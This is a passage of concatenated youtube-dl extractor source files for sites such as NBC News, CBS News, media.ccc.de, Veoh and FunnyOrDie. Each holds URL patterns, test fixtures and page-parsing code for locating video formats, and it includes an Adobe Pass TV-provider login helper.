            'description': 'md5:1753cfee40d9352b19b4c9b3e589b9e3',
            'timestamp': 1459369979,
            'upload_date': '20160330',
            'uploader': 'NBCU-SPORTS',
        }
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        return {
            '_type': 'url_transparent',
            'ie_key': 'ThePlatform',
            'url': self._html_search_meta('twitter:player:stream', webpage),
            'display_id': display_id,
        }


class NBCNewsIE(ThePlatformIE):
    _VALID_URL = r'''(?x)https?://(?:www\.)?(?:nbcnews|today|msnbc)\.com/
        (?:video/.+?/(?P<id>\d+)|
        ([^/]+/)*(?:.*-)?(?P<mpx_id>[^/?]+))
        '''

    _TESTS = [
        {
            'url': 'http://www.nbcnews.com/video/nbc-news/52753292',
            'md5': '47abaac93c6eaf9ad37ee6c4463a5179',
            'info_dict': {
                'id': '52753292',
                'ext': 'flv',
                'title': 'Crew emerges after four-month Mars food study',
                'description': 'md5:24e632ffac72b35f8b67a12d1b6ddfc1',
            },
        },
        {
            'url': 'http://www.nbcnews.com/watch/nbcnews-com/how-twitter-reacted-to-the-snowden-interview-269389891880',
            'md5': 'af1adfa51312291a017720403826bb64',
            'info_dict': {
                'id': '269389891880',
                'ext': 'mp4',
                'title': 'How Twitter Reacted To The Snowden Interview',
                'description': 'md5:65a0bd5d76fe114f3c2727aa3a81fe64',
                'uploader': 'NBCU-NEWS',
                'timestamp': 1401363060,
                'upload_date': '20140529',
            },
        },
        {
            'url': 'http://www.nbcnews.com/feature/dateline-full-episodes/full-episode-family-business-n285156',
            'md5': 'fdbf39ab73a72df5896b6234ff98518a',
            'info_dict': {
                'id': '529953347624',
                'ext': 'mp4',
                'title': 'FULL EPISODE: Family Business',
                'description': 'md5:757988edbaae9d7be1d585eb5d55cc04',
            },
            'skip': 'This page is unavailable.',
        },
        {
            'url': 'http://www.nbcnews.com/nightly-news/video/nightly-news-with-brian-williams-full-broadcast-february-4-394064451844',
            'md5': '73135a2e0ef819107bbb55a5a9b2a802',
            'info_dict': {
                'id': '394064451844',
                'ext': 'mp4',
                'title': 'Nightly News with Brian Williams Full Broadcast (February 4)',
                'description': 'md5:1c10c1eccbe84a26e5debb4381e2d3c5',
                'timestamp': 1423104900,
                'uploader': 'NBCU-NEWS',
                'upload_date': '20150205',
            },
        },
        {
            'url': 'http://www.nbcnews.com/business/autos/volkswagen-11-million-vehicles-could-have-suspect-software-emissions-scandal-n431456',
            'md5': 'a49e173825e5fcd15c13fc297fced39d',
            'info_dict': {
                'id': '529953347624',
                'ext': 'mp4',
                'title': 'Volkswagen U.S. Chief:\xa0 We Have Totally Screwed Up',
                'description': 'md5:c8be487b2d80ff0594c005add88d8351',
                'upload_date': '20150922',
                'timestamp': 1442917800,
                'uploader': 'NBCU-NEWS',
            },
        },
        {
            'url': 'http://www.today.com/video/see-the-aurora-borealis-from-space-in-stunning-new-nasa-video-669831235788',
            'md5': '118d7ca3f0bea6534f119c68ef539f71',
            'info_dict': {
                'id': '669831235788',
                'ext': 'mp4',
                'title': 'See the aurora borealis from space in stunning new NASA video',
                'description': 'md5:74752b7358afb99939c5f8bb2d1d04b1',
                'upload_date': '20160420',
                'timestamp': 1461152093,
                'uploader': 'NBCU-NEWS',
            },
        },
        {
            'url': 'http://www.msnbc.com/all-in-with-chris-hayes/watch/the-chaotic-gop-immigration-vote-314487875924',
            'md5': '6d236bf4f3dddc226633ce6e2c3f814d',
            'info_dict': {
                'id': '314487875924',
                'ext': 'mp4',
                'title': 'The chaotic GOP immigration vote',
                'description': 'The Republican House votes on a border bill that has no chance of getting through the Senate or signed by the President and is drawing criticism from all sides.',
                'thumbnail': 're:^https?://.*\.jpg$',
                'timestamp': 1406937606,
                'upload_date': '20140802',
                'uploader': 'NBCU-NEWS',
                'categories': ['MSNBC/Topics/Franchise/Best of last night', 'MSNBC/Topics/General/Congress'],
            },
        },
        {
            'url': 'http://www.nbcnews.com/watch/dateline/full-episode--deadly-betrayal-386250819952',
            'only_matching': True,
        },
        {
            # From http://www.vulture.com/2016/06/letterman-couldnt-care-less-about-late-night.html
            'url': 'http://www.nbcnews.com/widget/video-embed/701714499682',
            'only_matching': True,
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        if video_id is not None:
            all_info = self._download_xml('http://www.nbcnews.com/id/%s/displaymode/1219' % video_id, video_id)
            info = all_info.find('video')

            return {
                'id': video_id,
                'title': info.find('headline').text,
                'ext': 'flv',
                'url': find_xpath_attr(info, 'media', 'type', 'flashVideo').text,
                'description': info.find('caption').text,
                'thumbnail': find_xpath_attr(info, 'media', 'type', 'thumbnail').text,
            }
        else:
            # "feature" and "nightly-news" pages use theplatform.com
            video_id = mobj.group('mpx_id')
            if not video_id.isdigit():
                webpage = self._download_webpage(url, video_id)
                info = None
                bootstrap_json = self._search_regex(
                    [r'(?m)(?:var\s+(?:bootstrapJson|playlistData)|NEWS\.videoObj)\s*=\s*({.+});?\s*$',
                     r'videoObj\s*:\s*({.+})', r'data-video="([^"]+)"'],
                    webpage, 'bootstrap json', default=None)
                bootstrap = self._parse_json(
                    bootstrap_json, video_id, transform_source=unescapeHTML)
                if 'results' in bootstrap:
                    info = bootstrap['results'][0]['video']
                elif 'video' in bootstrap:
                    info = bootstrap['video']
                else:
                    info = bootstrap
                video_id = info['mpxId']

            return {
                '_type': 'url_transparent',
                'id': video_id,
                # http://feed.theplatform.com/f/2E2eJC/nbcnews also works
                'url': 'http://feed.theplatform.com/f/2E2eJC/nnd_NBCNews?byId=%s' % video_id,
                'ie_key': 'ThePlatformFeed',
            }






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor

from ..utils import (
    float_or_none,
    xpath_text
)


class NuevoBaseIE(InfoExtractor):
    def _extract_nuevo(self, config_url, video_id):
        config = self._download_xml(
            config_url, video_id, transform_source=lambda s: s.strip())

        title = xpath_text(config, './title', 'title', fatal=True).strip()
        video_id = xpath_text(config, './mediaid', default=video_id)
        thumbnail = xpath_text(config, ['./image', './thumb'])
        duration = float_or_none(xpath_text(config, './duration'))

        formats = []
        for element_name, format_id in (('file', 'sd'), ('filehd', 'hd')):
            video_url = xpath_text(config, element_name)
            if video_url:
                formats.append({
                    'url': video_url,
                    'format_id': format_id,
                })
        self._check_formats(formats, video_id)

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'duration': duration,
            'formats': formats
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_unquote,
    compat_urllib_parse_unquote_plus,
)
from ..utils import (
    clean_html,
    ExtractorError,
)


class PlayvidIE(InfoExtractor):
    _VALID_URL = r'https?://www\.playvid\.com/watch(\?v=|/)(?P<id>.+?)(?:#|$)'
    _TESTS = [{
        'url': 'http://www.playvid.com/watch/RnmBNgtrrJu',
        'md5': 'ffa2f6b2119af359f544388d8c01eb6c',
        'info_dict': {
            'id': 'RnmBNgtrrJu',
            'ext': 'mp4',
            'title': 'md5:9256d01c6317e3f703848b5906880dc8',
            'duration': 82,
            'age_limit': 18,
        },
        'skip': 'Video removed due to ToS',
    }, {
        'url': 'http://www.playvid.com/watch/hwb0GpNkzgH',
        'md5': '39d49df503ad7b8f23a4432cbf046477',
        'info_dict': {
            'id': 'hwb0GpNkzgH',
            'ext': 'mp4',
            'title': 'Ellen Euro Cutie Blond Takes a Sexy Survey Get Facial in The Park',
            'age_limit': 18,
            'thumbnail': 're:^https?://.*\.jpg$',
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        m_error = re.search(
            r'<div class="block-error">\s*<div class="heading">\s*<div>(?P<msg>.+?)</div>\s*</div>', webpage)
        if m_error:
            raise ExtractorError(clean_html(m_error.group('msg')), expected=True)

        video_title = None
        duration = None
        video_thumbnail = None
        formats = []

        # most of the information is stored in the flashvars
        flashvars = self._html_search_regex(
            r'flashvars="(.+?)"', webpage, 'flashvars')

        infos = compat_urllib_parse_unquote(flashvars).split(r'&')
        for info in infos:
            videovars_match = re.match(r'^video_vars\[(.+?)\]=(.+?)$', info)
            if videovars_match:
                key = videovars_match.group(1)
                val = videovars_match.group(2)

                if key == 'title':
                    video_title = compat_urllib_parse_unquote_plus(val)
                if key == 'duration':
                    try:
                        duration = int(val)
                    except ValueError:
                        pass
                if key == 'big_thumb':
                    video_thumbnail = val

                videourl_match = re.match(
                    r'^video_urls\]\[(?P<resolution>[0-9]+)p', key)
                if videourl_match:
                    height = int(videourl_match.group('resolution'))
                    formats.append({
                        'height': height,
                        'url': val,
                    })
        self._sort_formats(formats)

        # Extract title - should be in the flashvars; if not, look elsewhere
        if video_title is None:
            video_title = self._html_search_regex(
                r'<title>(.*?)</title', webpage, 'title')

        return {
            'id': video_id,
            'formats': formats,
            'title': video_title,
            'thumbnail': video_thumbnail,
            'duration': duration,
            'description': None,
            'age_limit': 18
        }






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from .cbs import CBSIE
from ..utils import (
    parse_duration,
)


class CBSNewsIE(CBSIE):
    IE_DESC = 'CBS News'
    _VALID_URL = r'https?://(?:www\.)?cbsnews\.com/(?:news|videos)/(?P<id>[\da-z_-]+)'

    _TESTS = [
        {
            'url': 'http://www.cbsnews.com/news/tesla-and-spacex-elon-musks-industrial-empire/',
            'info_dict': {
                'id': 'tesla-and-spacex-elon-musks-industrial-empire',
                'ext': 'flv',
                'title': 'Tesla and SpaceX: Elon Musk\'s industrial empire',
                'thumbnail': 'http://beta.img.cbsnews.com/i/2014/03/30/60147937-2f53-4565-ad64-1bdd6eb64679/60-0330-pelley-640x360.jpg',
                'duration': 791,
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
            'skip': 'Subscribers only',
        },
        {
            'url': 'http://www.cbsnews.com/videos/fort-hood-shooting-army-downplays-mental-illness-as-cause-of-attack/',
            'info_dict': {
                'id': 'SNJBOYzXiWBOvaLsdzwH8fmtP1SCd91Y',
                'ext': 'mp4',
                'title': 'Fort Hood shooting: Army downplays mental illness as cause of attack',
                'description': 'md5:4a6983e480542d8b333a947bfc64ddc7',
                'upload_date': '20140404',
                'timestamp': 1396650660,
                'uploader': 'CBSI-NEW',
                'thumbnail': 're:^https?://.*\.jpg$',
                'duration': 205,
                'subtitles': {
                    'en': [{
                        'ext': 'ttml',
                    }],
                },
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        video_info = self._parse_json(self._html_search_regex(
            r'(?:<ul class="media-list items" id="media-related-items"><li data-video-info|<div id="cbsNewsVideoPlayer" data-video-player-options)=\'({.+?})\'',
            webpage, 'video JSON info'), video_id)

        item = video_info['item'] if 'item' in video_info else video_info
        guid = item['mpxRefId']
        return self._extract_video_info(guid)


class CBSNewsLiveVideoIE(InfoExtractor):
    IE_DESC = 'CBS News Live Videos'
    _VALID_URL = r'https?://(?:www\.)?cbsnews\.com/live/video/(?P<id>[\da-z_-]+)'

    # Live videos get deleted soon. See http://www.cbsnews.com/live/ for the latest examples
    _TEST = {
        'url': 'http://www.cbsnews.com/live/video/clinton-sanders-prepare-to-face-off-in-nh/',
        'info_dict': {
            'id': 'clinton-sanders-prepare-to-face-off-in-nh',
            'ext': 'flv',
            'title': 'Clinton, Sanders Prepare To Face Off In NH',
            'duration': 334,
        },
        'skip': 'Video gone',
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        video_info = self._parse_json(self._html_search_regex(
            r'data-story-obj=\'({.+?})\'', webpage, 'video JSON info'), video_id)['story']

        hdcore_sign = 'hdcore=3.3.1'
        f4m_formats = self._extract_f4m_formats(video_info['url'] + '&' + hdcore_sign, video_id)
        if f4m_formats:
            for entry in f4m_formats:
                # URLs without the extra param induce an 404 error
                entry.update({'extra_param_to_segment_url': hdcore_sign})
        self._sort_formats(f4m_formats)

        return {
            'id': video_id,
            'title': video_info['headline'],
            'thumbnail': video_info.get('thumbnail_url_hd') or video_info.get('thumbnail_url_sd'),
            'duration': parse_duration(video_info.get('segmentDur')),
            'formats': f4m_formats,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_iso8601,
)


class CCCIE(InfoExtractor):
    IE_NAME = 'media.ccc.de'
    _VALID_URL = r'https?://(?:www\.)?media\.ccc\.de/v/(?P<id>[^/?#&]+)'

    _TESTS = [{
        'url': 'https://media.ccc.de/v/30C3_-_5443_-_en_-_saal_g_-_201312281830_-_introduction_to_processor_design_-_byterazor#video',
        'md5': '3a1eda8f3a29515d27f5adb967d7e740',
        'info_dict': {
            'id': '1839',
            'ext': 'mp4',
            'title': 'Introduction to Processor Design',
            'description': 'md5:df55f6d073d4ceae55aae6f2fd98a0ac',
            'thumbnail': 're:^https?://.*\.jpg$',
            'upload_date': '20131228',
            'timestamp': 1388188800,
            'duration': 3710,
        }
    }, {
        'url': 'https://media.ccc.de/v/32c3-7368-shopshifting#download',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        event_id = self._search_regex("data-id='(\d+)'", webpage, 'event id')
        event_data = self._download_json('https://media.ccc.de/public/events/%s' % event_id, event_id)

        formats = []
        for recording in event_data.get('recordings', []):
            recording_url = recording.get('recording_url')
            if not recording_url:
                continue
            language = recording.get('language')
            folder = recording.get('folder')
            format_id = None
            if language:
                format_id = language
            if folder:
                if language:
                    format_id += '-' + folder
                else:
                    format_id = folder
            vcodec = 'h264' if 'h264' in folder else (
                'none' if folder in ('mp3', 'opus') else None
            )
            formats.append({
                'format_id': format_id,
                'url': recording_url,
                'width': int_or_none(recording.get('width')),
                'height': int_or_none(recording.get('height')),
                'filesize': int_or_none(recording.get('size'), invscale=1024 * 1024),
                'language': language,
                'vcodec': vcodec,
            })
        self._sort_formats(formats)

        return {
            'id': event_id,
            'display_id': display_id,
            'title': event_data['title'],
            'description': event_data.get('description'),
            'thumbnail': event_data.get('thumb_url'),
            'timestamp': parse_iso8601(event_data.get('date')),
            'duration': int_or_none(event_data.get('length')),
            'tags': event_data.get('tags'),
            'formats': formats,
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import re
import time
import xml.etree.ElementTree as etree

from .common import InfoExtractor
from ..utils import (
    unescapeHTML,
    urlencode_postdata,
    unified_timestamp,
)


class AdobePassIE(InfoExtractor):
    _SERVICE_PROVIDER_TEMPLATE = 'https://sp.auth.adobe.com/adobe-services/%s'
    _USER_AGENT = 'Mozilla/5.0 (X11; Linux i686; rv:47.0) Gecko/20100101 Firefox/47.0'

    @staticmethod
    def _get_mvpd_resource(provider_id, title, guid, rating):
        channel = etree.Element('channel')
        channel_title = etree.SubElement(channel, 'title')
        channel_title.text = provider_id
        item = etree.SubElement(channel, 'item')
        resource_title = etree.SubElement(item, 'title')
        resource_title.text = title
        resource_guid = etree.SubElement(item, 'guid')
        resource_guid.text = guid
        resource_rating = etree.SubElement(item, 'media:rating')
        resource_rating.attrib = {'scheme': 'urn:v-chip'}
        resource_rating.text = rating
        return '<rss version="2.0" xmlns:media="http://search.yahoo.com/mrss/">' + etree.tostring(channel).decode() + '</rss>'

    def _extract_mvpd_auth(self, url, video_id, requestor_id, resource):
        def xml_text(xml_str, tag):
            return self._search_regex(
                '<%s>(.+?)</%s>' % (tag, tag), xml_str, tag)

        mvpd_headers = {
            'ap_42': 'anonymous',
            'ap_11': 'Linux i686',
            'ap_z': self._USER_AGENT,
            'User-Agent': self._USER_AGENT,
        }

        guid = xml_text(resource, 'guid')
        requestor_info = self._downloader.cache.load('mvpd', requestor_id) or {}
        authn_token = requestor_info.get('authn_token')
        if authn_token:
            token_expires = unified_timestamp(re.sub(r'[_ ]GMT', '', xml_text(authn_token, 'simpleTokenExpires')))
            if token_expires and token_expires <= int(time.time()):
                authn_token = None
                requestor_info = {}
        if not authn_token:
            # TODO add support for other TV Providers
            mso_id = 'DTV'
            username, password = self._get_netrc_login_info(mso_id)
            if not username or not password:
                return ''

            def post_form(form_page, note, data={}):
                post_url = self._html_search_regex(r'<form[^>]+action=(["\'])(?P<url>.+?)\1', form_page, 'post url', group='url')
                return self._download_webpage(
                    post_url, video_id, note, data=urlencode_postdata(data or self._hidden_inputs(form_page)), headers={
                        'Content-Type': 'application/x-www-form-urlencoded',
                    })

            provider_redirect_page = self._download_webpage(
                self._SERVICE_PROVIDER_TEMPLATE % 'authenticate/saml', video_id,
                'Downloading Provider Redirect Page', query={
                    'noflash': 'true',
                    'mso_id': mso_id,
                    'requestor_id': requestor_id,
                    'no_iframe': 'false',
                    'domain_name': 'adobe.com',
                    'redirect_url': url,
                })
            provider_login_page = post_form(
                provider_redirect_page, 'Downloading Provider Login Page')
            mvpd_confirm_page = post_form(provider_login_page, 'Logging in', {
                'username': username,
                'password': password,
            })
            post_form(mvpd_confirm_page, 'Confirming Login')

            session = self._download_webpage(
                self._SERVICE_PROVIDER_TEMPLATE % 'session', video_id,
                'Retrieving Session', data=urlencode_postdata({
                    '_method': 'GET',
                    'requestor_id': requestor_id,
                }), headers=mvpd_headers)
            if '<pendingLogout' in session:
                self._downloader.cache.store('mvpd', requestor_id, {})
                return self._extract_mvpd_auth(url, video_id, requestor_id, resource)
            authn_token = unescapeHTML(xml_text(session, 'authnToken'))
            requestor_info['authn_token'] = authn_token
            self._downloader.cache.store('mvpd', requestor_id, requestor_info)

        authz_token = requestor_info.get(guid)
        if not authz_token:
            authorize = self._download_webpage(
                self._SERVICE_PROVIDER_TEMPLATE % 'authorize', video_id,
                'Retrieving Authorization Token', data=urlencode_postdata({
                    'resource_id': resource,
                    'requestor_id': requestor_id,
                    'authentication_token': authn_token,
                    'mso_id': xml_text(authn_token, 'simpleTokenMsoID'),
                    'userMeta': '1',
                }), headers=mvpd_headers)
            if '<pendingLogout' in authorize:
                self._downloader.cache.store('mvpd', requestor_id, {})
                return self._extract_mvpd_auth(url, video_id, requestor_id, resource)
            authz_token = unescapeHTML(xml_text(authorize, 'authzToken'))
            requestor_info[guid] = authz_token
            self._downloader.cache.store('mvpd', requestor_id, requestor_info)

        mvpd_headers.update({
            'ap_19': xml_text(authn_token, 'simpleSamlNameID'),
            'ap_23': xml_text(authn_token, 'simpleSamlSessionIndex'),
        })

        short_authorize = self._download_webpage(
            self._SERVICE_PROVIDER_TEMPLATE % 'shortAuthorize',
            video_id, 'Retrieving Media Token', data=urlencode_postdata({
                'authz_token': authz_token,
                'requestor_id': requestor_id,
                'session_guid': xml_text(authn_token, 'simpleTokenAuthenticationGuid'),
                'hashed_guid': 'false',
            }), headers=mvpd_headers)
        if '<pendingLogout' in short_authorize:
            self._downloader.cache.store('mvpd', requestor_id, {})
            return self._extract_mvpd_auth(url, video_id, requestor_id, resource)
        return short_authorize






from __future__ import unicode_literals

import re
import json

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    ExtractorError,
    sanitized_Request,
)


class VeohIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?veoh\.com/(?:watch|iphone/#_Watch)/(?P<id>(?:v|yapi-)[\da-zA-Z]+)'

    _TESTS = [
        {
            'url': 'http://www.veoh.com/watch/v56314296nk7Zdmz3',
            'md5': '620e68e6a3cff80086df3348426c9ca3',
            'info_dict': {
                'id': '56314296',
                'ext': 'mp4',
                'title': 'Straight Backs Are Stronger',
                'uploader': 'LUMOback',
                'description': 'At LUMOback, we believe straight backs are stronger.  The LUMOback Posture & Movement Sensor:  It gently vibrates when you slouch, inspiring improved posture and mobility.  Use the app to track your data and improve your posture over time. ',
            },
        },
        {
            'url': 'http://www.veoh.com/watch/v27701988pbTc4wzN?h1=Chile+workers+cover+up+to+avoid+skin+damage',
            'md5': '4a6ff84b87d536a6a71e6aa6c0ad07fa',
            'info_dict': {
                'id': '27701988',
                'ext': 'mp4',
                'title': 'Chile workers cover up to avoid skin damage',
                'description': 'md5:2bd151625a60a32822873efc246ba20d',
                'uploader': 'afp-news',
                'duration': 123,
            },
            'skip': 'This video has been deleted.',
        },
        {
            'url': 'http://www.veoh.com/watch/v69525809F6Nc4frX',
            'md5': '4fde7b9e33577bab2f2f8f260e30e979',
            'note': 'Embedded ooyala video',
            'info_dict': {
                'id': '69525809',
                'ext': 'mp4',
                'title': 'Doctors Alter Plan For Preteen\'s Weight Loss Surgery',
                'description': 'md5:f5a11c51f8fb51d2315bca0937526891',
                'uploader': 'newsy-videos',
            },
            'skip': 'This video has been deleted.',
        },
    ]

    def _extract_formats(self, source):
        formats = []
        link = source.get('aowPermalink')
        if link:
            formats.append({
                'url': link,
                'ext': 'mp4',
                'format_id': 'aow',
            })
        link = source.get('fullPreviewHashLowPath')
        if link:
            formats.append({
                'url': link,
                'format_id': 'low',
            })
        link = source.get('fullPreviewHashHighPath')
        if link:
            formats.append({
                'url': link,
                'format_id': 'high',
            })
        return formats

    def _extract_video(self, source):
        return {
            'id': source.get('videoId'),
            'title': source.get('title'),
            'description': source.get('description'),
            'thumbnail': source.get('highResImage') or source.get('medResImage'),
            'uploader': source.get('username'),
            'duration': int_or_none(source.get('length')),
            'view_count': int_or_none(source.get('views')),
            'age_limit': 18 if source.get('isMature') == 'true' or source.get('isSexy') == 'true' else 0,
            'formats': self._extract_formats(source),
        }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        if video_id.startswith('v'):
            rsp = self._download_xml(
                r'http://www.veoh.com/api/findByPermalink?permalink=%s' % video_id, video_id, 'Downloading video XML')
            stat = rsp.get('stat')
            if stat == 'ok':
                return self._extract_video(rsp.find('./videoList/video'))
            elif stat == 'fail':
                raise ExtractorError(
                    '%s said: %s' % (self.IE_NAME, rsp.find('./errorList/error').get('errorMessage')), expected=True)

        webpage = self._download_webpage(url, video_id)
        age_limit = 0
        if 'class="adultwarning-container"' in webpage:
            self.report_age_confirmation()
            age_limit = 18
            request = sanitized_Request(url)
            request.add_header('Cookie', 'confirmedAdult=true')
            webpage = self._download_webpage(request, video_id)

        m_youtube = re.search(r'http://www\.youtube\.com/v/(.*?)(\&|"|\?)', webpage)
        if m_youtube is not None:
            youtube_id = m_youtube.group(1)
            self.to_screen('%s: detected Youtube video.' % video_id)
            return self.url_result(youtube_id, 'Youtube')

        info = json.loads(
            self._search_regex(r'videoDetailsJSON = \'({.*?})\';', webpage, 'info').replace('\\\'', '\''))

        video = self._extract_video(info)
        video['age_limit'] = age_limit

        return video






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    js_to_json,
    unescapeHTML,
    ExtractorError,
)


class DVTVIE(InfoExtractor):
    IE_NAME = 'dvtv'
    IE_DESC = 'http://video.aktualne.cz/'

    _VALID_URL = r'https?://video\.aktualne\.cz/(?:[^/]+/)+r~(?P<id>[0-9a-f]{32})'

    _TESTS = [{
        'url': 'http://video.aktualne.cz/dvtv/vondra-o-ceskem-stoleti-pri-pohledu-na-havla-mi-bylo-trapne/r~e5efe9ca855511e4833a0025900fea04/',
        'md5': '67cb83e4a955d36e1b5d31993134a0c2',
        'info_dict': {
            'id': 'dc0768de855511e49e4b0025900fea04',
            'ext': 'mp4',
            'title': 'Vondra o Českém století: Při pohledu na Havla mi bylo trapně',
        }
    }, {
        'url': 'http://video.aktualne.cz/dvtv/stropnicky-policie-vrbetice-preventivne-nekontrolovala/r~82ed4322849211e4a10c0025900fea04/',
        'md5': '6388f1941b48537dbd28791f712af8bf',
        'info_dict': {
            'id': '72c02230849211e49f60002590604f2e',
            'ext': 'mp4',
            'title': 'Stropnický: Policie Vrbětice preventivně nekontrolovala',
        }
    }, {
        'url': 'http://video.aktualne.cz/dvtv/dvtv-16-12-2014-utok-talibanu-boj-o-kliniku-uprchlici/r~973eb3bc854e11e498be002590604f2e/',
        'info_dict': {
            'title': 'DVTV 16. 12. 2014: útok Talibanu, boj o kliniku, uprchlíci',
            'id': '973eb3bc854e11e498be002590604f2e',
        },
        'playlist': [{
            'md5': 'da7ca6be4935532241fa9520b3ad91e4',
            'info_dict': {
                'id': 'b0b40906854d11e4bdad0025900fea04',
                'ext': 'mp4',
                'title': 'Drtinová Veselovský TV 16. 12. 2014: Témata dne'
            }
        }, {
            'md5': '5f7652a08b05009c1292317b449ffea2',
            'info_dict': {
                'id': '420ad9ec854a11e4bdad0025900fea04',
                'ext': 'mp4',
                'title': 'Školní masakr možná změní boj s Talibanem, říká novinářka'
            }
        }, {
            'md5': '498eb9dfa97169f409126c617e2a3d64',
            'info_dict': {
                'id': '95d35580846a11e4b6d20025900fea04',
                'ext': 'mp4',
                'title': 'Boj o kliniku: Veřejný zájem, nebo právo na majetek?'
            }
        }, {
            'md5': 'b8dc6b744844032dab6ba3781a7274b9',
            'info_dict': {
                'id': '6fe14d66853511e4833a0025900fea04',
                'ext': 'mp4',
                'title': 'Pánek: Odmítání syrských uprchlíků je ostudou české vlády'
            }
        }],
    }, {
        'url': 'http://video.aktualne.cz/v-cechach-poprve-zazni-zelenkova-zrestaurovana-mse/r~45b4b00483ec11e4883b002590604f2e/',
        'only_matching': True,
    }]

    def _parse_video_metadata(self, js, video_id):
        metadata = self._parse_json(js, video_id, transform_source=js_to_json)

        formats = []
        for video in metadata['sources']:
            ext = video['type'][6:]
            formats.append({
                'url': video['file'],
                'ext': ext,
                'format_id': '%s-%s' % (ext, video['label']),
                'height': int(video['label'].rstrip('p')),
                'fps': 25,
            })

        self._sort_formats(formats)

        return {
            'id': metadata['mediaid'],
            'title': unescapeHTML(metadata['title']),
            'thumbnail': self._proto_relative_url(metadata['image'], 'http:'),
            'formats': formats
        }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        # single video
        item = self._search_regex(
            r"(?s)embedData[0-9a-f]{32}\['asset'\]\s*=\s*(\{.+?\});",
            webpage, 'video', default=None, fatal=False)

        if item:
            return self._parse_video_metadata(item, video_id)

        # playlist
        items = re.findall(
            r"(?s)BBX\.context\.assets\['[0-9a-f]{32}'\]\.push\(({.+?})\);",
            webpage)

        if items:
            return {
                '_type': 'playlist',
                'id': video_id,
                'title': self._og_search_title(webpage),
                'entries': [self._parse_video_metadata(i, video_id) for i in items]
            }

        raise ExtractorError('Could not find neither video nor playlist')






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class TV3IE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?tv3\.co\.nz/(?P<id>[^/]+)/tabid/\d+/articleID/\d+/MCat/\d+/Default\.aspx'
    _TEST = {
        'url': 'http://www.tv3.co.nz/MOTORSPORT-SRS-SsangYong-Hampton-Downs-Round-3/tabid/3692/articleID/121615/MCat/2915/Default.aspx',
        'info_dict': {
            'id': '4659127992001',
            'ext': 'mp4',
            'title': 'CRC Motorsport: SRS SsangYong Hampton Downs Round 3 - S2015 Ep3',
            'description': 'SsangYong Racing Series returns for Round 3 with drivers from New Zealand and Australia taking to the grid at Hampton Downs raceway.',
            'uploader_id': '3812193411001',
            'upload_date': '20151213',
            'timestamp': 1449975272,
        },
        'expected_warnings': [
            'Failed to download MPD manifest'
        ],
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }
    BRIGHTCOVE_URL_TEMPLATE = 'http://players.brightcove.net/3812193411001/default_default/index.html?videoId=%s'

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        brightcove_id = self._search_regex(r'<param\s*name="@videoPlayer"\s*value="(\d+)"', webpage, 'brightcove id')
        return self.url_result(self.BRIGHTCOVE_URL_TEMPLATE % brightcove_id, 'BrightcoveNew', brightcove_id)






from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor
from ..utils import ExtractorError


class FunnyOrDieIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?funnyordie\.com/(?P<type>embed|articles|videos)/(?P<id>[0-9a-f]+)(?:$|[?#/])'
    _TESTS = [{
        'url': 'http://www.funnyordie.com/videos/0732f586d7/heart-shaped-box-literal-video-version',
        'md5': 'bcd81e0c4f26189ee09be362ad6e6ba9',
        'info_dict': {
            'id': '0732f586d7',
            'ext': 'mp4',
            'title': 'Heart-Shaped Box: Literal Video Version',
            'description': 'md5:ea09a01bc9a1c46d9ab696c01747c338',
            'thumbnail': 're:^http:.*\.jpg$',
        },
    }, {
        'url': 'http://www.funnyordie.com/embed/e402820827',
        'info_dict': {
            'id': 'e402820827',
            'ext': 'mp4',
            'title': 'Please Use This Song (Jon Lajoie)',
            'description': 'Please use this to sell something.  www.jonlajoie.com',
            'thumbnail': 're:^http:.*\.jpg$',
        },
    }, {
        'url': 'http://www.funnyordie.com/articles/ebf5e34fc8/10-hours-of-walking-in-nyc-as-a-man',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)

        video_id = mobj.group('id')
        webpage = self._download_webpage(url, video_id)

        links = re.findall(r'<source src="([^"]+/v)[^"]+\.([^"]+)" type=\'video', webpage)
        if not links:
            raise ExtractorError('No media links available for %s' % video_id)

        links.sort(key=lambda link: 1 if link[1] == 'mp4' else 0)

        m3u8_url = self._search_regex(
            r'<source[^>]+src=(["\'])(?P<url>.+?/master\.m3u8[^"\']*)\1',
            webpage, 'm3u8 url', group='url')

        formats = []

        formats.extend(self._extract_m3u8_formats(
            m3u8_url, video_id, 'mp4', 'm3u8_native', m3u8_id='hls', fatal=False))

        bitrates = [int(bitrate) for bitrate in re.findall(r'[,/]v(\d+)[,/]', m3u8_url)]
        bitrates.sort()

        for bitrate in bitrates:
            for link in links:
                formats.append({
                    'url': self._proto_relative_url('%s%d.%s' % (link[0], bitrate, link[1])),
